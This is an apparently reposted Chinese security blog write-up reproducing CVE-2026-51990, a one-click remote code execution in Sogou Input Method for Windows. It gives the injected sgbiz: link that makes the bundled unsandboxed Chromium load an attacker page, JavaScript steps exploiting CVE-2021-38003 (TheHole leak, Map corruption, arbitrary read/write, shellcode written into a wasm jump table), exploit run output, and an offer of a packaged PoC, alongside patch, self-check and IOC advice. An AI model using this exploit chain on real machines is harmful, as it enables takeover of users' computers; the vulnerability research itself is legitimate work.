【漏洞复现】CVE-2026-51990|搜狗输入法Windows版远程代码执行漏洞

admin 2026-10-03 04:39:53 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 搜狗输入法Windows版存在CVE-2026-51990远程代码执行漏洞,攻击者构造恶意sgbiz:协议链接,用户点击一次即可触发内嵌浏览器加载恶意页面,利用旧版Chromium内核的CVE-2021-38003漏洞实现任意代码执行。影响版本低于16.3.0.3498,修复版本为16.3.0.3498,建议用户立即升级并警惕不明链接。 综合评分: 85 文章分类: 漏洞分析,漏洞预警,应急响应


【漏洞复现】CVE-2026-51990 | 搜狗输入法Windows版远程代码执行漏洞

原创

devildollking devildollking

熔城Sec

2026年9月30日 09:30 辽宁

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

免责声明

该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。公众号现在只对常读和星标的公众号才展示大图推送,建议把公众号设为星标,否则可能就看不到啦!感谢各位师傅。

漏洞描述

搜狗输入法(Windows 版,腾讯)存在一个一键远程代码执行漏洞(CVE-2026-51990)。攻击者构造一条恶意 sgbiz: 协议链接,受害者只需点击一次,就能让搜狗输入法内置的浏览器加载攻击者页面并执行任意代码,最终以当前用户权限拿下主机。

漏洞概况

| 项目 | 概况说明 | | — | — | | CVE | CVE-2026-51990(关联微步情报 XVE-2026-62927) | | 组件 | 搜狗输入法 Windows 版(搜狗拼音;搜狗五笔不受影响) | | 影响版本 | < 16.3.0.3498 | | 修复版本 | 16.3.0.3498&nbsp;(2026-04 起自动推送) | | 漏洞本质 | 自定义协议 sgbiz: 参数注入 → 内嵌浏览器任意导航 → 旧版 Chromium 引擎漏洞 → RCE | | 利用条件 | 用户点击一次 sgbiz: 链接 | | 利用链复用 | CVE-2021-38003(TheHole,Chrome < 95,V8 侧从未修复) | | 在野利用 | UNC3569 借 noht1ng[.]top 投放 GRAYRABBIT 后门 | | 披露时间线 | Gen Threat Labs 2026-09-10;Peru CERT 2026-09-16 通报 |

攻击链总览

漏洞复现

让搜狗的内嵌浏览器加载外部页面

搜狗输入法在系统里注册了自定义协议 sgbiz:,由 biz_helper.exe 接管。

sgbiz:sg_process?module=sgmyinput.exe&param=-page=skincenter

biz_helper 会解析出 5 个参数:

| 参数 | 含义 | 校验情况 | | — | — | — | | module | 要启动的搜狗 exe 名 | 严格校验 :扫禁止字符 \ / : * ? " < > |、限 MAX_PATH、相对安装目录解析、GetFileAttributesW 确认存在且非目录 | | param | 传给该 exe 的命令行参数 | 仅一次 URL decode,无过滤、无白名单 ← ★缺陷 | | work_dir | 工作目录 | 未充分校验 | | start_mode | CreateProcessW 或 ShellExecuteW | — | | start_show | 窗口显示状态 | — |

利用内嵌浏览器历史漏洞-CVE-2021-38003

页面进来了,接下来打的就是搜狗 CEF 内置的浏览器内核:Chromium 80.0.3987.163 / V8 8.0.426。它是 2020 年的版本,而且搜狗把它配成了关闭沙箱(--no-sandbox,外加 --disable-web-security、--allow-file-access-from-files)。

这个内核带着一个 V8 侧从未修复的历史漏洞——CVE-2021-38003(TheHole)。完整利用分四步:

第 1 步:把 TheHole 泄漏到 JS 层。 JSON.stringify() 在序列化类数组对象时走 SerializeArrayLikeSlow(),当增量字符串 builder 溢出时该函数返回异常状态却没有设置 pending_exception,后续异常处理路径取到未初始化值,把 V8 内部哨兵 TheHole 泄漏了出来。

var&nbsp;a = []; &nbsp;a[20000] =&nbsp;"A".repeat(1.5&nbsp;*&nbsp;1024&nbsp;*&nbsp;1024); &nbsp;&nbsp;// 32 位下 1.5MB × 10,8MB 会直接 OOMvar&nbsp;b = []; &nbsp;for&nbsp;(var&nbsp;i =&nbsp;0; i <&nbsp;10; i++) b[i] = a;var&nbsp;s =&nbsp;JSON.stringify(b); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 触发

判定是否拿到 TheHole,三个条件必须同时成立:

typeof(s[i]) ===&nbsp;"undefined"&nbsp; &nbsp;// 不是 undefinedString(s[i]) ===&nbsp;"hole"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 但字符串化是 "hole"s[i] === s[i] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 自反性都不成立

第 2 步:用 TheHole 腐蚀 Map,拿到越界窗口。 把 TheHole 当 key 去操作 Map,触发内部状态机错乱:

var&nbsp;m =&nbsp;new&nbsp;Map();m.set(1,&nbsp;1);m.set(hole,&nbsp;1);m.delete(hole);m.delete(hole); &nbsp; &nbsp;&nbsp;// 删两次m.delete(1);// m.size === -1 &nbsp; ← 不报错、不崩溃的“活着的僵尸”

size 变成 -1 后容量计算全部失真。再次 set 时,溢出写进 length 的值恰好等于这次 set 的 key——也就是说,越界数组的长度由攻击者指定。用 0x3FFFFFFF 这一档,可以拿到一个覆盖约 1GB 进程地址空间的读写窗口:原本需要伪造指针才能读到的地址,变成了窗口里的一个下标。

第 3 步:在窗口里凑出任意读写。 32 位 V8 的对象布局与 64 位完全不同——数组头是 [map][properties][elements][length] 各 4 字节,指针最低位是 tag,真地址 = ptr & ~1。要在目标上量准这些偏移,才能把窗口下标换算成真实地址,做到指哪读哪、指哪写哪。

第 4 步:写 wasm 跳转表,执行载荷。 最后需要一块可执行内存。32 位 V8 里 wasm 实例对象与导出函数紧邻,间距固定(实测 f - wasmInstance = 0xCC,多轮复核恒定);读 wasmInstance + 0x40 就是 jump_table_start——一个页对齐的 RWX 代码页,首字节 E9(jmp rel32)是 wasm 跳转表的典型特征。把 WinExec("calc.exe") 的载荷写进去,再调用一次导出函数,代码就在渲染进程里跑起来了。

复现结果

stub readback=0x371337b8&nbsp; expect&nbsp;0x371337b8&nbsp; ->&nbsp;IN PLACEf() =&nbsp;322376503&nbsp; &nbsp;<<< SENTINEL: our stub executed at&nbsp;this&nbsp;entry[A] store-only write:&nbsp;128&nbsp;bytes =&nbsp;16&nbsp;x&nbsp;8B&nbsp;slots[B] verify: ALL&nbsp;16&nbsp;SLOTS IN PLACE -- payload fully written[C]&nbsp;calling&nbsp;f()&nbsp;again&nbsp;(calc time) ...f() =&nbsp;0&nbsp; &nbsp;<<< PAYLOAD RAN AND RETURNED CLEANLY -- calc.exe should be up[=] DONE. calc.exe popped -> CVE-2026-51990&nbsp;32-bit RCE reproduced.

修复与自查

  • 升级到 16.3.0.3498+

    (2026-04 起自动推送)。注意:补丁堵的是 sgbiz: 入口,内置的旧版 Chromium 内核并没有更换,仍是无沙箱状态——真正的根治要等厂商替换内核。

  • 自查:托盘右键搜狗图标 → 关于,确认版本号 ≥ 16.3.0.3498。

  • 未升级时的兜底:反注册 sgbiz: 协议处理,直接掐断入口(代价是皮肤商店等功能失效);不点击来源不明的 sgbiz: 链接。

  • IOC:利用页域名 noht1ng[.]top;biz_helper.exe 异常命令行、SGWebRender.exe 异常出网。

附:复现环境文件(随文提供)

上面那套环境不用自己从零搭——本文用到的两个文件随文提供,在隔离虚拟机里放同一个目录就能跑:

| 文件 | 作用 | | — | — | | exp_r_template.html | 利用页(由服务端动态注入运行序号后下发到 WebView) | | server.py | 本地 HTTP 服务:下发页面 + 接收日志(权威日志落 webview_log.txt) |

用法三步:

:: 1. 起服务(注意需要python环境)
下载的文件夹,解压整体拖入隔离环境,进入文件夹,使用命令
python server.py

:: 2. 触发:在浏览器输入,sgbiz:sg_process?module=sgmyinput.exe&param=-page=skincenter%20-url=http://127.0.0.1:8080/exp_r.html

本文复现的环境:Windows 10 专业版和搜狗输入法16.3.0.3446版本

获取方式:公众号后台回复 CVE-2026-51990 领取打包好的输入法包和poc,安装在win10环境自己测试一下,因为我没有在别的环境测试过,所以我没法保证能百分百成功。

几点交代清楚:

  • 代码里已经写死了这段环境对应的偏移与常量,换版本 / 换位数就跑不通,这是预期行为,不是 bug;
  • 载荷落点固定为本地 calc.exe,没有留任何可改目标的接口,也不含任何网络通信、持久化、后门逻辑;

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:熔城Sec devildollking devildollking《【漏洞复现】CVE-2026-51990 | 搜狗输入法Windows版远程代码执行漏洞》

评论:0   参与:  0